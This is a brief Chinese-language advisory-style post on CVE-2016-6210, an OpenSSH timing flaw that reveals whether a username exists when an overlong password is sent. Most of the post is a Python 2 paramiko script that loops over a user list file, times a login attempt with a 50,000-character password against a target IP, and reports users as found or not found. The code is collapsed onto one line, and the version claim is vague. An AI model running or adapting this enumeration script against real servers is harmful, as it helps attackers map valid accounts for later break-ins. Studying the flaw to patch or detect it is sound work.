受影响版本:
opensshd(< =最新版本)
CVE-2016-6210
漏洞描述:
当我们使用ssh客户端去连接服务端的时候,如果向服务端发送一个大于10KB的密码,由于OpenSSH服务端会对user:password的组合,使用加密算法SHA256/SHA512进行加密。
如果我们传输的是一个不存在的用户名,那么就不会进入sha256(user,password)加密流程,如果用户名存在,服务器将会针对这个10KB大的密码进行SHA256的加密,这里就会产生时间差。
测试脚本:
import paramiko import time import sys from fileutils import FileUtils def get_user(ip,user): p=‘A‘*50000 ssh = paramiko.SSHClient() starttime=time.clock() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(ip, username=user, password=p) except: endtime=time.clock() total=endtime-starttime return (total) if __name__ == ‘__main__‘: ip = sys.argv[1] for user in FileUtils.getLines(‘user.lst‘): try: i = get_user(ip,user) except Exception,e: print str(e) if i > 5.0: print ‘%s : %s : %s found‘ % (ip , user,i) else: print ‘%s : %s : %s no found‘ % (ip,user,i)
时间: 2024-10-03 04:34:08